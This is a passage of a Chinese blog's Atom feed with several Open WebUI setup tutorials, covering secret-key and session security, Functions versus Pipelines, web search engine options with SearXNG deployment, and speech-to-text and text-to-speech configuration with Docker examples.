凭证无法解密</li></ul><p>所以这个值一定要固定，不要让容器每次随机生成。</p><p><strong>我的管理方式</strong></p><p>这一点我会非常保守：</p><ol><li>生产环境固定设置 <code>WEBUI_SECRET_KEY</code></li><li>HTTPS 环境强制 <code>WEBUI_SESSION_COOKIE_SECURE=true</code></li><li>不把 <code>JWT_EXPIRES_IN</code> 设成无限期</li><li>升级容器前先确认密钥仍然通过同样方式注入</li></ol><p>这是最容易被忽略、但一出问题就会直接影响所有用户登录体验的一块。</p><hr></div>]]>
    </content>
    <id>https://blog.prorisehub.com/posts/47824.html</id>
    <link href="https://blog.prorisehub.com/posts/47824.html"/>
    <published>2026-02-27T11:38:17.000Z</published>
    <summary>
      <![CDATA[<div id="postchat_postcontent"><h2 id="3-9-安全与认证配置">3.9. 安全与认证配置</h2>
<p>这一章讲的是“谁能登录、谁能调用]]>
    </summary>
    <title>OpenWebUi-安全与认证配置</title>
    <updated>2026-05-07T03:10:50.993Z</updated>
  </entry>
  <entry>
    <author>
      <name>Prorise</name>
    </author>
    <category term="一人公司系列" scheme="https://blog.prorisehub.com/categories/%E4%B8%80%E4%BA%BA%E5%85%AC%E5%8F%B8%E7%B3%BB%E5%88%97/"/>
    <category term="办公提效方向" scheme="https://blog.prorisehub.com/categories/%E4%B8%80%E4%BA%BA%E5%85%AC%E5%8F%B8%E7%B3%BB%E5%88%97/%E5%8A%9E%E5%85%AC%E6%8F%90%E6%95%88%E6%96%B9%E5%90%91/"/>
    <category term="OpenWebUi" scheme="https://blog.prorisehub.com/categories/%E4%B8%80%E4%BA%BA%E5%85%AC%E5%8F%B8%E7%B3%BB%E5%88%97/%E5%8A%9E%E5%85%AC%E6%8F%90%E6%95%88%E6%96%B9%E5%90%91/OpenWebUi/"/>
    <content>
      <![CDATA[<div id="postchat_postcontent"><h2 id="3-8-Pipelines-与-Functions-扩展系统">3.8. Pipelines 与 Functions 扩展系统</h2><p>Open WebUI 提供了两种扩展机制：<strong>Functions</strong>（函数）和 <strong>Pipelines</strong>（管道）。理解它们的区别非常重要，选错了会让简单的事情变复杂。</p><blockquote><p>⚠️ <strong>官方明确建议</strong>：对于大多数扩展需求（如添加新的 API 提供商、基础过滤器、简单工具），<strong>请使用 Functions，不要使用 Pipelines</strong>。Pipelines 仅适用于需要将计算密集型任务卸载到独立进程的场景。</p></blockquote><h3 id="Functions-vs-Pipelines：如何选择">Functions vs Pipelines：如何选择</h3><table><thead><tr><th>对比项</th><th>Functions（推荐优先）</th><th>Pipelines</th></tr></thead><tbody><tr><td><strong>部署方式</strong></td><td>内置于 Open WebUI，无需额外服务</td><td>需要独立部署 Pipelines 服务</td></tr><tr><td><strong>适用场景</strong></td><td>添加 API 提供商、过滤器、工具、按钮动作</td><td>计算密集型任务（如大规模数据处理、自定义 ML 推理）</td></tr><tr><td><strong>管理方式</strong></td><td>管理员面板 → 函数</td><td>管理员面板 → 设置 → Pipelines</td></tr><tr><td><strong>开发难度</strong></td><td>简单，直接在 Web 界面编写</td><td>较复杂，需要独立服务和 Docker 部署</td></tr><tr><td><strong>性能影响</strong></td><td>在主进程中运行</td><td>独立进程，不影响主服务</td></tr></tbody></table><p><strong>简单判断规则</strong>：如果你不确定该用哪个，<strong>用 Functions</strong>。只有当你明确需要在独立进程中运行计算密集型任务时，才考虑 Pipelines。</p><h3 id="Functions（函数）">Functions（函数）</h3><p>Functions 是 Open WebUI 内置的扩展机制，直接在管理员面板中管理，无需额外部署。</p><p><strong>Functions 的四种类型</strong>：</p><table><thead><tr><th>类型</th><th>说明</th><th>使用场景</th></tr></thead><tbody><tr><td><strong>Filter</strong></td><td>在消息发送到模型前/后进行处理</td><td>内容过滤、格式转换、日志记录</td></tr><tr><td><strong>Action</strong></td><td>在消息气泡上添加自定义按钮</td><td>一键翻译、一键总结、复制格式化内容</td></tr><tr><td><strong>Tool</strong></td><td>为模型提供可调用的工具</td><td>网络搜索、数据库查询、API 调用</td></tr><tr><td><strong>Pipe</strong></td><td>添加新的模型端点或 API 提供商</td><td>接入自定义 API、代理转发</td></tr></tbody></table><p><strong>管理 Functions</strong>：</p><p>管理员面板 → 函数（Functions）</p><p>在这里你可以：</p><ul><li>创建新函数（直接在 Web 编辑器中编写 Python 代码）</li><li>从社区导入函数</li><li>启用/禁用函数</li><li>配置函数参数（Valves）</li></ul><p><strong>社区函数库</strong>：</p><p>Open WebUI 社区提供了大量现成的函数，访问 <a href="https://openwebui.com/functions/">https://openwebui.com/functions/</a> 浏览和导入。</p><blockquote><p>💡 Functions 的详细开发将在后续章节中介绍。本节重点是让管理员了解如何管理和配置。</p></blockquote><h3 id="Pipelines（仅限计算密集型场景）">Pipelines（仅限计算密集型场景）</h3><p>如果你确实需要将计算密集型任务卸载到独立进程，才需要部署 Pipelines。</p><p><strong>部署 Pipelines 服务</strong>：</p><p>在你的 <code>docker-compose.local.yaml</code> 中添加 Pipelines 服务：</p><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">services:</span></span><br><span class="line">  <span class="attr">pipelines:</span></span><br><span class="line">    <span class="attr">image:</span> <span class="string">ghcr.io/open-webui/pipelines:main</span></span><br><span class="line">    <span class="attr">container_name:</span> <span class="string">pipelines</span></span><br><span class="line">    <span class="attr">ports:</span></span><br><span class="line">      <span class="bullet">-</span> <span class="string">&quot;9099:9099&quot;</span></span><br><span class="line">    <span class="attr">extra_hosts:</span></span><br><span class="line">      <span class="bullet">-</span> <span class="string">host.docker.internal:host-gateway</span></span><br><span class="line">    <span class="attr">volumes:</span></span><br><span class="line">      <span class="bullet">-</span> <span class="string">pipelines-data:/app/pipelines</span></span><br><span class="line">    <span class="attr">restart:</span> <span class="string">unless-stopped</span></span><br><span class="line"></span><br><span class="line">  <span class="attr">open-webui:</span></span><br><span class="line">    <span class="comment"># ... 你的现有配置</span></span><br><span class="line">    <span class="attr">environment:</span></span><br><span class="line">      <span class="bullet">-</span> <span class="string">PIPELINES_URLS=http://pipelines:9099</span></span><br><span class="line"></span><br><span class="line"><span class="attr">volumes:</span></span><br><span class="line">  <span class="attr">pipelines-data:</span></span><br></pre></td></tr></table></figure><p>启动后访问 <a href="http://localhost:9099/docs">http://localhost:9099/docs</a> 验证 Pipelines API 是否正常。</p><p><strong>在 Open WebUI 中连接</strong>：</p><p>管理员面板 → 设置 → Pipelines → 填入 <code>http://pipelines:9099</code> → 点击刷新</p><p><strong>管理插件</strong>：</p><p>连接成功后，你可以：</p><ul><li>上传 Python 插件文件（<code>.py</code>）</li><li>启用/禁用插件</li><li>配置插件参数（Valves）</li></ul><p><strong>Pipelines 插件示例</strong>：</p><p>官方示例仓库：<a href="https://github.com/open-webui/pipelines/tree/main/examples">https://github.com/open-webui/pipelines/tree/main/examples</a></p><table><thead><tr><th>插件名称</th><th>功能</th><th>使用场景</th></tr></thead><tbody><tr><td><strong>Langfuse</strong></td><td>集成 Langfuse 监控平台</td><td>大规模使用量监控</td></tr><tr><td><strong>LLM Guard</strong></td><td>防止提示词注入攻击</td><td>安全防护（计算密集）</td></tr><tr><td><strong>Detoxify</strong></td><td>基于 ML 模型的有害内容过滤</td><td>内容安全（需要 GPU）</td></tr></tbody></table><blockquote><p>💡 像 Rate Limit（限流）、LibreTranslate（翻译）这类轻量级功能，现在推荐使用 Functions 实现，不再需要部署 Pipelines。</p></blockquote><hr></div>]]>
    </content>
    <id>https://blog.prorisehub.com/posts/437.html</id>
    <link href="https://blog.prorisehub.com/posts/437.html"/>
    <published>2026-02-27T10:38:17.000Z</published>
    <summary>
      <![CDATA[<div id="postchat_postcontent"><h2 id="3-8-Pipelines-与-Functions-扩展系统">3.8. Pipelines 与 Functions 扩展系统</h2>
<p>Open WebUI]]>
    </summary>
    <title>OpenWebUi-Pipelines 与 Functions 扩展系统</title>
    <updated>2026-05-07T03:10:50.993Z</updated>
  </entry>
  <entry>
    <author>
      <name>Prorise</name>
    </author>
    <category term="一人公司系列" scheme="https://blog.prorisehub.com/categories/%E4%B8%80%E4%BA%BA%E5%85%AC%E5%8F%B8%E7%B3%BB%E5%88%97/"/>
    <category term="办公提效方向" scheme="https://blog.prorisehub.com/categories/%E4%B8%80%E4%BA%BA%E5%85%AC%E5%8F%B8%E7%B3%BB%E5%88%97/%E5%8A%9E%E5%85%AC%E6%8F%90%E6%95%88%E6%96%B9%E5%90%91/"/>
    <category term="OpenWebUi" scheme="https://blog.prorisehub.com/categories/%E4%B8%80%E4%BA%BA%E5%85%AC%E5%8F%B8%E7%B3%BB%E5%88%97/%E5%8A%9E%E5%85%AC%E6%8F%90%E6%95%88%E6%96%B9%E5%90%91/OpenWebUi/"/>
    <content>
      <![CDATA[<div id="postchat_postcontent"><h2 id="3-7-网络搜索功能配置">3.7. 网络搜索功能配置</h2><p>网络搜索功能让 AI 能够获取最新的网络信息，突破模型训练数据的时效性限制。用户在对话中开启&quot;联网搜索&quot;开关后，Open WebUI 会先调用搜索引擎获取实时结果，再注入到 LLM 上下文中辅助回答。</p><p><strong>配置入口</strong>：管理员面板 → 设置 → 联网搜索</p><hr><h3 id="配置项说明">配置项说明</h3><table><thead><tr><th>配置项</th><th>说明</th><th>推荐值</th></tr></thead><tbody><tr><td><strong>启用联网搜索</strong></td><td>总开关，关闭时所有用户均无法使用</td><td>按需开启</td></tr><tr><td><strong>搜索引擎</strong></td><td>下拉选择提供商，选择后下方动态显示该引擎所需字段（Key、URL 等）</td><td>见下方选型</td></tr><tr><td><strong>搜索结果数量</strong></td><td>每次返回的结果条数，太少信息不足，太多增加 token 消耗</td><td>5-8</td></tr><tr><td><strong>并发数</strong></td><td>同时抓取结果页面的并发数，过高可能触发速率限制</td><td>默认即可</td></tr><tr><td><strong>旁路 SSL 验证</strong></td><td>跳过 SSL 证书验证，仅自部署引擎用自签名证书时开启</td><td>关闭</td></tr></tbody></table><hr><h3 id="全部搜索引擎一览">全部搜索引擎一览</h3><p><strong>🟢 完全免费（自部署或无需 Key）</strong></p><ul><li><strong>DuckDuckGo</strong>（<code>duckduckgo</code>）— 零配置开箱即用，无需 API Key，通过 Python 库直接调用。缺点：可能被速率限制，国内需代理</li><li><strong>SearXNG</strong>（<code>searxng</code>）— 🏆 <strong>社区最推荐</strong>。开源元搜索引擎，聚合 Google、Bing 等 70+ 引擎结果，需 Docker 自部署，完全免费、无限次数、隐私安全</li><li><strong>YaCy</strong>（<code>yacy</code>）— 去中心化 P2P 搜索引擎，完全自托管，搜索质量远不如 SearXNG</li><li><strong>Ollama Cloud</strong>（<code>ollama_cloud</code>）— 用本地 Ollama 模型生成搜索，完全离线但质量有限</li></ul><p><strong>🔵 有免费额度（白嫖友好，需注册获取 Key）</strong></p><ul><li><strong>Serper</strong>（<code>serper</code>）— 🏆 <strong>性价比之王</strong>。基于 Google SERP，注册送 2,500 次（一次性），付费 $0.30/千次起，速度极快</li><li><strong>Brave</strong>（<code>brave</code>）— 每月 2,000 次免费（每月刷新），独立搜索索引，隐私友好，超出后 $3/千次</li><li><strong>Tavily</strong>（<code>tavily</code>）— 每月 1,000 次免费，专为 AI/RAG 设计，返回干净文本，超出后 $0.008/次</li><li><strong>Exa</strong>（<code>exa</code>）— 注册送 $10 额度（约 2,000 次），AI 原生语义搜索，超出后 $5/千次</li><li><strong>Google PSE</strong>（<code>google_pse</code>）— 每天 100 次免费（约 3,000 次/月），搜索质量就是 Google 本身，超出后 $5/千次</li><li><strong>Firecrawl</strong>（<code>firecrawl</code>）— 一次性 500 次免费，搜索 + 深度抓取网页内容，超出后 $16/月起</li><li><strong>SearchApi</strong>（<code>searchapi</code>）— 注册送 100 次，支持 Google/Bing/Baidu/Scholar 多引擎切换，超出后 $50/月起</li><li><strong>Serpstack</strong>（<code>serpstack</code>）— 每月 100 次免费，基于 Google SERP，超出后 $30/月起</li><li><strong>SerpApi</strong>（<code>serpapi</code>）— 每月 100 次免费，功能最全但价格偏高 $25/月起</li><li><strong>Jina</strong>（<code>jina</code>）— 注册送积分，支持语义搜索和网页内容提取，适合 RAG 场景</li></ul><p><strong>🟡 纯付费（无免费额度或需订阅）</strong></p><ul><li><strong>Bing</strong>（<code>bing</code>）— ⚠️ 微软已于 2025 年 8 月宣布退役，不推荐新用户</li><li><strong>Kagi</strong>（<code>kagi</code>）— $10/月起订阅制，高质量无广告搜索</li><li><strong>Mojeek</strong>（<code>mojeek</code>）— 英国独立搜索引擎，有自己的爬虫索引，需联系定价</li><li><strong>Serply</strong>（<code>serply</code>）— $49/月起，性价比不高</li><li><strong>Bocha</strong>（<code>bocha</code>）— 🇨🇳 国产博查搜索，国内可直连，需联系定价</li><li><strong>Sogou</strong>（<code>sougou</code>）— 🇨🇳 搜狗搜索，国内可直连，需联系定价</li><li><strong>Yandex</strong>（<code>yandex</code>）— 俄罗斯搜索引擎，俄语搜索质量好</li></ul><p><strong>🟣 AI 增强搜索</strong></p><ul><li><strong>Perplexity</strong>（<code>perplexity</code>）— Sonar API，搜索 + AI 总结，Pro 订阅每月附赠 $5 额度</li><li><strong>Perplexity Search</strong>（<code>perplexity_search</code>）— 同上，纯搜索不含 AI 总结</li><li><strong>External</strong>（<code>external</code>）— 万能逃生舱，指向任意自定义 HTTP 搜索服务</li></ul><blockquote><p>💡 以上除 Bocha、Sogou 外，其余引擎均需代理才能在国内访问。</p></blockquote><hr><h3 id="选型推荐与部署">选型推荐与部署</h3><p><strong>🏆 最优解：SearXNG 自部署</strong></p><p>适合有服务器的个人/团队，零成本、无限次数、隐私安全。社区公认的最佳方案。</p><p>部署步骤：</p><ol><li>克隆仓库并进入目录：</li></ol><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">git <span class="built_in">clone</span> https://github.com/searxng/searxng-docker.git</span><br><span class="line"><span class="built_in">cd</span> searxng-docker</span><br></pre></td></tr></table></figure><ol start="2"><li>修改 <code>settings.yml</code>（最关键一步，必须启用 JSON 格式，否则 Open WebUI 报 403）：</li></ol><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">use_default_settings:</span> <span class="literal">true</span></span><br><span class="line"></span><br><span class="line"><span class="attr">server:</span></span><br><span class="line">  <span class="attr">secret_key:</span> <span class="string">&quot;your-random-secret-key&quot;</span>  <span class="comment"># 必须修改</span></span><br><span class="line">  <span class="attr">limiter:</span> <span class="literal">false</span>  <span class="comment"># 关闭速率限制，避免被限流</span></span><br><span class="line">  <span class="attr">image_proxy:</span> <span class="literal">true</span></span><br><span class="line"></span><br><span class="line"><span class="attr">search:</span></span><br><span class="line">  <span class="attr">safe_search:</span> <span class="number">0</span></span><br><span class="line">  <span class="attr">autocomplete:</span> <span class="string">&quot;&quot;</span></span><br><span class="line">  <span class="attr">default_lang:</span> <span class="string">&quot;zh-CN&quot;</span></span><br><span class="line">  <span class="attr">formats:</span></span><br><span class="line">    <span class="bullet">-</span> <span class="string">html</span></span><br><span class="line">    <span class="bullet">-</span> <span class="string">json</span>  <span class="comment"># ⚠️ 必须添加，否则 Open WebUI 无法调用</span></span><br></pre></td></tr></table></figure><ol start="3"><li>启动：<code>docker compose up -d</code>，或在 Open WebUI 的 <code>docker-compose.local.yaml</code> 中添加：</li></ol><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">services:</span></span><br><span class="line">  <span class="attr">searxng:</span></span><br><span class="line">    <span class="attr">image:</span> <span class="string">searxng/searxng:latest</span></span><br><span class="line">    <span class="attr">container_name:</span> <span class="string">searxng</span></span><br><span class="line">    <span class="attr">ports:</span></span><br><span class="line">      <span class="bullet">-</span> <span class="string">&quot;8080:8080&quot;</span></span><br><span class="line">    <span class="attr">volumes:</span></span><br><span class="line">      <span class="bullet">-</span> <span class="string">./searxng:/etc/searxng</span></span><br><span class="line">    <span class="attr">restart:</span> <span class="string">unless-stopped</span></span><br></pre></td></tr></table></figure><ol start="4"><li>在 Open WebUI 中配置：搜索引擎选 <code>searxng</code>，查询 URL 填 <code>http://searxng:8080/search?q=&lt;query&gt;</code>（Docker 同网络）或 <code>http://localhost:8080/search?q=&lt;query&gt;</code>。</li></ol><blockquote><p>⚠️ 常见问题：</p><ul><li><strong>403 错误</strong>：99% 是 <code>settings.yml</code> 没加 <code>json</code> 格式</li><li><strong>结果为空</strong>：SearXNG 容器需能访问外网，国内服务器需为 SearXNG 容器配代理</li><li><strong>超时</strong>：检查 <code>limiter</code> 是否为 <code>false</code>，上游搜索引擎是否可达</li></ul></blockquote><p><strong>💰 零成本懒人方案：DuckDuckGo</strong></p><p>不想部署任何服务的用户，搜索引擎选 <code>duckduckgo</code> 即可，无需填写任何 Key。缺点是可能被限流、国内需代理、搜索质量不如 Google。</p><p><strong>🎯 付费性价比之选：Serper</strong></p><p>需要 Google 级搜索质量但预算有限的用户。访问 <a href="https://serper.dev">https://serper.dev</a> 注册，复制 API Key，搜索引擎选 <code>serper</code> 填入即可。注册送 2,500 次，付费后 $0.30/千次起。</p><p><strong>🇨🇳 国内直连方案：Bocha / Sogou</strong></p><p>服务器在国内、无法配代理的用户。Bocha（博查）和 Sogou（搜狗）国内可直连，中文搜索质量较好，需联系服务商获取 Key 和定价。</p><hr><h3 id="成本速算">成本速算</h3><p>假设日均搜索 20 次（月均 600 次）：</p><table><thead><tr><th>方案</th><th>月成本</th><th>说明</th></tr></thead><tbody><tr><td>SearXNG 自部署</td><td>$0</td><td>仅消耗服务器资源</td></tr><tr><td>DuckDuckGo</td><td>$0</td><td>可能被限流</td></tr><tr><td>Brave 免费额度</td><td>$0</td><td>每月 2,000 次，完全够用</td></tr><tr><td>Google PSE 免费额度</td><td>$0</td><td>每天 100 次，完全够用</td></tr><tr><td>Tavily 免费额度</td><td>$0</td><td>每月 1,000 次，勉强够用</td></tr><tr><td>Serper 免费额度</td><td>$0</td><td>2,500 次一次性，约可用 4 个月</td></tr><tr><td>Serper 付费</td><td>~$0.18</td><td>超出免费额度后</td></tr><tr><td>Brave 付费</td><td>~$1.80</td><td>超出免费额度后</td></tr><tr><td>Kagi</td><td>$10+</td><td>订阅制</td></tr></tbody></table><blockquote><p>💡 个人使用（日均 &lt;30 次），Brave（2,000 次/月）或 Google PSE（100 次/天）的免费额度完全够用。团队或高频搜索，SearXNG 自部署是唯一真正无限制的方案。</p></blockquote><hr></div>]]>
    </content>
    <id>https://blog.prorisehub.com/posts/3060.html</id>
    <link href="https://blog.prorisehub.com/posts/3060.html"/>
    <published>2026-02-27T09:38:17.000Z</published>
    <summary>
      <![CDATA[<div id="postchat_postcontent"><h2 id="3-7-网络搜索功能配置">3.7. 网络搜索功能配置</h2>
<p>网络搜索功能让 AI]]>
    </summary>
    <title>OpenWebUi-网络搜索功能配置</title>
    <updated>2026-05-07T03:10:50.993Z</updated>
  </entry>
  <entry>
    <author>
      <name>Prorise</name>
    </author>
    <category term="一人公司系列" scheme="https://blog.prorisehub.com/categories/%E4%B8%80%E4%BA%BA%E5%85%AC%E5%8F%B8%E7%B3%BB%E5%88%97/"/>
    <category term="办公提效方向" scheme="https://blog.prorisehub.com/categories/%E4%B8%80%E4%BA%BA%E5%85%AC%E5%8F%B8%E7%B3%BB%E5%88%97/%E5%8A%9E%E5%85%AC%E6%8F%90%E6%95%88%E6%96%B9%E5%90%91/"/>
    <category term="OpenWebUi" scheme="https://blog.prorisehub.com/categories/%E4%B8%80%E4%BA%BA%E5%85%AC%E5%8F%B8%E7%B3%BB%E5%88%97/%E5%8A%9E%E5%85%AC%E6%8F%90%E6%95%88%E6%96%B9%E5%90%91/OpenWebUi/"/>
    <content>
      <![CDATA[<div id="postchat_postcontent"><h2 id="3-6-语音功能配置">3.6. 语音功能配置</h2><p>Open WebUI 的语音交互由两部分组成：<strong>听（STT，语音转文字）</strong> 和 <strong>说（TTS，文字转语音）</strong>。合理的配置需要在“响应速度、拟真体验、实际花销”三者之间找到平衡。</p><h3 id="语音转文字（STT）配置">语音转文字（STT）配置</h3><p>STT 决定了系统“听得有多准”和“听得有多快”，以及你聊天的成本消耗，由于语音转文字本质拉不开很大差距，一般来说都会使用网页API 或选择 Whisper 作为使用</p><h4 id="1-核心引擎横向对比与实际计费">1. 核心引擎横向对比与实际计费</h4><table><thead><tr><th>引擎选型</th><th>成本梯队</th><th>实际计费标准 (预估)</th><th>核心优势</th></tr></thead><tbody><tr><td><strong>网页 API</strong></td><td>免费</td><td><strong>$0</strong> (利用浏览器原生能力)</td><td>服务器零负载，响应极快，零成本</td></tr><tr><td><strong>Whisper (本地)</strong></td><td>免费</td><td><strong>$0</strong> (仅消耗本机/服务器电费)</td><td>隐私最强，完全离线，不按时长收费</td></tr><tr><td><strong>Deepgram</strong></td><td>低成本</td><td><strong>约 $0.0043 / 分钟</strong></td><td>专为实时语音设计，延迟极低，性价比极高</td></tr><tr><td><strong>OpenAI</strong></td><td>适中</td><td><strong>$0.006 / 分钟</strong></td><td>业界标杆，多语言混合识别极准，无需额外注册</td></tr><tr><td><strong>Azure AI 语音</strong></td><td>偏高</td><td><strong>约 $1.00 / 小时</strong> ($0.016/分)</td><td>微软企业级稳定服务，带口音的方言识别优秀</td></tr></tbody></table><h4 id="2-深度选型与成本解析">2. 深度选型与成本解析</h4><ul><li><p><strong>完全免费且省心：网页 API (Web API)</strong></p></li><li><p><strong>计费逻辑</strong>：绝对免费。它调用的是你当前所用浏览器（如 Chrome）内置的语音识别接口。</p></li><li><p><strong>适用场景</strong>：预算为零，服务器没有显卡（GPU）跑不动本地模型，且能保证全程使用 HTTPS 访问的用户。</p></li><li><p><strong>免费但吃硬件：Whisper (本地)</strong></p></li><li><p><strong>计费逻辑</strong>：软件层面免费，但<strong>隐性成本在硬件</strong>。它会占用你服务器的 CPU 和显存。如果租用云服务器，为了跑顺畅可能需要升级高配实例。</p></li><li><p><strong>选型建议</strong>：如果你的服务器本身配置就高（如拥有 8GB 以上显存的独立显卡），强烈建议选这个。数据不出局域网，隐私绝对安全。</p></li><li><p><strong>云端高性价比方案：Deepgram</strong></p></li><li><p><strong>计费逻辑</strong>：按秒计费，极其便宜。折算下来一小时一直说话也才两毛多美元。</p></li><li><p><strong>选型建议</strong>：如果你需要高频使用语音对话，Deepgram 的 Nova-2 模型是<strong>首选</strong>。它的转录速度远快于 OpenAI，能大幅降低你等 AI 回复的“空窗期”。</p></li><li><p><strong>高质量兜底方案：OpenAI Whisper</strong></p></li><li><p><strong>计费逻辑</strong>：按分钟计费。如果你每天和 AI 聊 10 分钟语音，一个月大约花费 $1.8。</p></li><li><p><strong>选型建议</strong>：如果你平时说话中英文夹杂，或者专业术语多，OpenAI 的容错和纠错能力是目前云端 API 里最好的。</p></li></ul><hr><h3 id="文字转语音（TTS）配置">文字转语音（TTS）配置</h3><p>TTS 决定了 AI 的“音色”和“情感”，这项功能由于需要生成音频文件，通常比 STT 更贵。</p><h4 id="1-核心引擎横向对比与实际计费-2">1. 核心引擎横向对比与实际计费</h4><table><thead><tr><th>引擎选型</th><th>成本梯队</th><th>实际计费标准 (预估)</th><th>拟真度</th></tr></thead><tbody><tr><td><strong>网页 API</strong></td><td>免费</td><td><strong>$0</strong> (调用系统内置 TTS)</td><td>⭐⭐ (明显机械音)</td></tr><tr><td><strong>openai-edge-tts</strong> 🏆</td><td>免费</td><td><strong>$0</strong> (微软 Edge 在线语音，中间件伪装)</td><td>⭐⭐⭐⭐⭐ (中文场景极佳，接近 OpenAI)</td></tr><tr><td><strong>Transformers</strong></td><td>免费</td><td><strong>$0</strong> (消耗本地算力生成)</td><td>⭐⭐⭐ (略带顿挫感)</td></tr><tr><td><strong>OpenAI</strong></td><td>低成本</td><td><strong>$0.015 / 千字符</strong></td><td>⭐⭐⭐⭐ (非常自然流畅)</td></tr><tr><td><strong>Azure AI 语音</strong></td><td>适中</td><td><strong>约 $0.016 / 千字符</strong></td><td>⭐⭐⭐⭐ (专业播音腔，可选多)</td></tr><tr><td><strong>ElevenLabs</strong></td><td>昂贵</td><td><strong>约 $0.22 / 千字符</strong> (按标准套餐折算)</td><td>⭐⭐⭐⭐⭐ (情感天花板)</td></tr></tbody></table><h4 id="2-深度选型与成本解析-2">2. 深度选型与成本解析</h4><ul><li><p><strong>零成本测试首选：网页 API</strong></p></li><li><p><strong>计费逻辑</strong>：免费。直接让你的 Windows 或 macOS 系统里的&quot;讲述人&quot;来读出文字。</p></li><li><p><strong>体验</strong>：毫无感情，适合用来排查语音链路通不通，不适合长期对话。</p></li><li><p><strong>🏆 中文场景版本答案：openai-edge-tts（强烈推荐）</strong></p></li><li><p><strong>计费逻辑</strong>：完全免费。它通过一个开源中间件（<a href="https://github.com/travisvn/openai-edge-tts">travisvn/openai-edge-tts</a>，GitHub 1.6k+ Stars），将微软 Edge 浏览器内置的高质量在线语音接口伪装成 OpenAI TTS 接口给 Open WebUI 使用。你在抖音/TikTok 上听到的那些非常自然的 AI 解说音，用的就是同一套微软语音引擎。</p></li><li><p><strong>选型建议</strong>：<strong>面向国内中文用户的最佳选择</strong>。音质接近 OpenAI TTS，远超本地机械音，且完全免费、无需 GPU。Open WebUI 官方文档已有专门的集成页面。唯一注意点：它本质是微软云服务的代理，需要联网才能使用，不是真正的离线方案。</p></li><li><p><strong>部署步骤</strong>：</p><p><strong>第一步：启动 Docker 容器</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">docker run -d -p 5050:5050 -e API_KEY=your_password travisvn/openai-edge-tts:latest</span><br></pre></td></tr></table></figure><p><strong>第二步：在 Open WebUI 管理面板中配置</strong></p><p>进入 管理员面板 → 设置 → 语音，在 TTS 部分填写：</p><table><thead><tr><th>配置项</th><th>填写内容</th><th>说明</th></tr></thead><tbody><tr><td><strong>TTS 引擎</strong></td><td><code>OpenAI</code></td><td>注意：选 OpenAI，不是 Edge，因为中间件伪装成了 OpenAI 接口</td></tr><tr><td><strong>API 基础 URL</strong></td><td><code>http://host.docker.internal:5050/v1</code></td><td>如果 Open WebUI 也在 Docker 中运行；否则填 <code>http://localhost:5050/v1</code></td></tr><tr><td><strong>API 密钥</strong></td><td><code>your_password</code></td><td>与 Docker 启动时的 <code>API_KEY</code> 保持一致</td></tr><tr><td><strong>TTS 模型</strong></td><td><code>tts-1</code></td><td>固定值</td></tr><tr><td><strong>TTS 语音</strong></td><td><code>zh-CN-XiaoxiaoNeural</code></td><td>最受欢迎的中文女声；男声可选 <code>zh-CN-YunxiNeural</code></td></tr></tbody></table><blockquote><p><strong>💡 更多语音选择</strong>：Edge TTS 支持大量中文语音，如 <code>zh-CN-XiaoyiNeural</code>（年轻女声）、<code>zh-CN-YunjianNeural</code>（新闻播报男声）等，完整列表可在容器启动后访问 <code>http://localhost:5050/v1/voices</code> 查看。</p></blockquote><blockquote><p><strong>⚠️ 注意</strong>：此方案依赖微软在线服务，断网时无法使用。如果你需要完全离线的 TTS，请考虑 Transformers 本地方案或下方的 Kokoro-FastAPI。</p></blockquote></li><li><p><strong>补充：英文场景的替代方案 —— Kokoro-FastAPI</strong></p></li><li><p>如果你的用户主要使用英文对话，社区中另一个高口碑项目是 <a href="https://github.com/remsky/Kokoro-FastAPI">Kokoro-FastAPI</a>。它完全本地运行，英文语音质量被社区评为当前最佳，同样提供 OpenAI 兼容 API。但中文支持较弱，因此面向国内用户时 openai-edge-tts 仍是首选。</p></li><li><p><strong>极致性价比：OpenAI TTS</strong></p></li><li><p><strong>计费逻辑</strong>：按生成的字符数收费。1000 个英文字符或中文字大概只要 1 分多钱（美元）。即使重度使用，每个月也就几美元。</p></li><li><p><strong>选型建议</strong>：<strong>90% 用户的最佳选择</strong>。模型选 <code>tts-1</code> 即可（<code>tts-1-hd</code> 贵一倍且速度慢，对话时完全没必要）。声音推荐 <code>Alloy</code>（中性）或 <code>Nova</code>（活力）。</p></li><li><p><strong>如果你需要更高质量的选型（听觉享受）：ElevenLabs</strong></p></li><li><p><strong>计费逻辑</strong>：非常贵。采用订阅+额度制（如 $22/月 给 10 万字符），折算下来<strong>单价比 OpenAI 贵了 15 倍左右</strong>。</p></li><li><p><strong>为什么选它</strong>：物有所值。它是目前唯一能做到“根据上下文叹气、呼吸、调整情绪甚至哭腔”的 API。如果你把 AI 当作情感树洞，或者需要克隆特定人的声音，这笔钱花得值。</p></li></ul><hr></div>]]>
    </content>
    <id>https://blog.prorisehub.com/posts/26838.html</id>
    <link href="https://blog.prorisehub.com/posts/26838.html"/>
    <published>2026-02-27T08:38:17.000Z</published>
    <summary>
      <![CDATA[<div id="postchat_postcontent"><h2 id="3-6-语音功能配置">3.6. 语音功能配置</h2>
<p>Open WebUI 的语音交互由两部分组成：<strong>听（STT，语音转文字）</strong> 和]]>
    </summary>
    <title>OpenWebUi-语音功能配置</title>
